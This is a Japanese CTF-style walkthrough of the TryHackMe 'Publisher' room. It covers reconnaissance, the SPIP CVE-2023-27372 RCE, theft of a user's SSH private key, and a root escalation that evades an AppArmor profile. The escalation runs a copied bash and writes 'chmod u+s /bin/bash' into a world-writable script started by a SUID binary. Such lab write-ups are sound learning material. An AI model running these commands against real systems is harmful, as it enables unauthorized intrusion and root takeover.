TryHackMe Writeup : Publisher

## はじめに
本記事は、TryHackMeのRoom、Publisherのwriteupです。
難易度はEasyです。権限昇格の際に今まであまり触れたことがないAppArmorの知識が必要になったので少し難しかったです。
その場で調べた知識を書いてるので「AppArmorはそんなんじゃないぞ！」みたいなことがあれば教えてください。
AppArmorに関しては改めて詳細を勉強したいですね...

## 初期アクセス
### ポートスキャン
ターゲットのIPアドレスに対してポートスキャンを行うと、22/tcpと80/tcpが開いていることが分かります。
稼働しているwebサイトにアクセス可能なのでまずブラウザからサイトにアクセスして情報を探します。
```
rustscan -a $TARGET

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack
```
```
nmap -sV -sC $TARGET -p 22,80

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Publisher's Pulse: SPIP Insights & Tips
MAC Address: 02:A4:85:33:2D:BF (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
### ディレクトリ列挙
ブラウザからページにアクセスすると、`SPIP`のページがあります。`SPIP`について検索してみるとCMSの一種だということが分かります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3816892/05a6c2e2-3385-9217-d4fc-6b45efd397e8.png)

さらにSPIPには過去にRCEの脆弱性があったようです。Roomの説明でRCEで初期アクセスすることが示唆されているので「これかな...」と思われますが、本当にこの脆弱性があるかという観点からバージョン等の情報を探すためにもう少し詳しく調査します。



```
gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html

/images (Status: 301)
/index.html (Status: 200)
/spip (Status: 301)
/server-status (Status: 403)
```
```
gobuster dir -u http://$TARGET/spip -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html

/index.php (Status: 200)
/local (Status: 301)
/config (Status: 301)
/vendor (Status: 301)
/tmp (Status: 301)
/LICENSE (Status: 200)
/IMG (Status: 301)
/spip.php (Status: 200)
/htaccess.txt (Status: 200)
/ecrire (Status: 301)
/prive (Status: 301)
```
列挙した結果から、`/spip/htaccess.txt`にアクセスすると、`SPIP`のバージョンが`SPIP v 4.2`であることが分かります。このバージョンは先ほど言及したRCEの脆弱性があるようです。ここからはこの脆弱性を利用してコード実行可能か検証していきます。検証は、下記記事を参考に、主にBurpsuiteのRepeaterで行いました。

https://github.com/nuts7/CVE-2023-27372

### RCE
検証用として1つ目の画像のリクエストを送信すると、2つ目の画像の応答が得られることからこの脆弱性の影響を少なからず受けていることが分かります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3816892/cc4e8809-60b8-5427-eae3-8f9e771eefe9.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3816892/2b9636a8-3abd-e074-9f16-499670e979a0.png)

`phpinfo()`を`system()`に置き換えることでshellコマンドを実行することができますが、いくつか検証した結果、直接的にリバースシェルをとることは難しそうでした。

しかし、閲覧可能なファイルを調査すると、`think`というユーザのsshの秘密鍵が取得可能であることが分かります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3816892/da89738e-48c9-113a-69f4-f00c38588b83.png)

取得した鍵をローカルにコピーして、sshで接続すると初期アクセスできます。

## 権限昇格
SUIDが設定されているファイルを列挙すると、`/usr/sbin/run_container
`というファイルが見つかります。
```
find / -perm -4000 2>/dev/null
/usr/sbin/run_container
```
```
ls -l /usr/sbin/run_container
-rwsr-sr-x 1 root root 16760 Nov 14  2023 /usr/sbin/run_container
```
試しに実行してみると、下記エラーが出ることから、`/usr/sbin/run_container
`が実行されると、`/opt/run_container.sh`が実行されると推測できます。
```
/opt/run_container.sh: line 16: validate_container_id: command not found
```

`/opt/run_container.sh`に書き込み権限があるため、このスクリプトの内容を変更したうえで`/usr/sbin/run_container`を実行することで権限昇格できると思われます。
```
ls -l /opt/run_container.sh
-rwxrwxrwx 1 root root 1715 Jan 10 12:40 /opt/run_container.sh
```

しかし、書き込みを試みると下記のようにうまくいきませんでした。
```
echo "chmod u+s /bin/bash" > /opt/run_container.sh
-ash: /opt/run_container.sh: Permission denied
```
ヒントを見ると、AppArmorのプロファイルを見るように記されています。
AppArmorに馴染みがないので調べてみると、MAC（強制アクセス制御）に関わるものであることが分かりました。
AppArmorのプロファイルは`/etc/apparmor.d`配下にあるとのことなので調査します。

```cat /etc/apparmor.d/usr.sbin.ash

#include <tunables/global>

/usr/sbin/ash flags=(complain) {
  #include <abstractions/base>
  #include <abstractions/bash>
  #include <abstractions/consoles>
  #include <abstractions/nameservice>
  #include <abstractions/user-tmp>

  # Remove specific file path rules
  # Deny access to certain directories
  deny /opt/ r,
  deny /opt/** w,
  deny /tmp/** w,
  deny /dev/shm w,
  deny /var/tmp w,
  deny /home/** w,
  /usr/bin/** mrix,
  /usr/sbin/** mrix,

  # Simplified rule for accessing /home directory
  owner /home/** rix,
}
```
下記ルールに着目すると、`ash`から`/opt/`下のファイルに書き込みができないような制御がされていると思われます。これによりたとえファイル自体に書き込み権限があったとしても実際には書き込みできなくなるようです。
```
deny /opt/** w,
```
現在のシェルを確認してみると、`ash`であることが分かります。

```ps -p $$
ps -p $$
    PID TTY          TIME CMD
   1550 pts/0    00:00:00 ash
```
したがって、bash環境に移動==>/opt/run_container.sh書き換え==>/usr/sbin/run_container実行という形で権限昇格できそうです。

```
cp /bin/bash /var/tmp/
/var/tmp/bash 
echo "chmod u+s /bin/bash" > /opt/run_container.sh
/usr/sbin/run_container
/bin/bash -p 
```

これでroot権限が取れました!! 
以上!!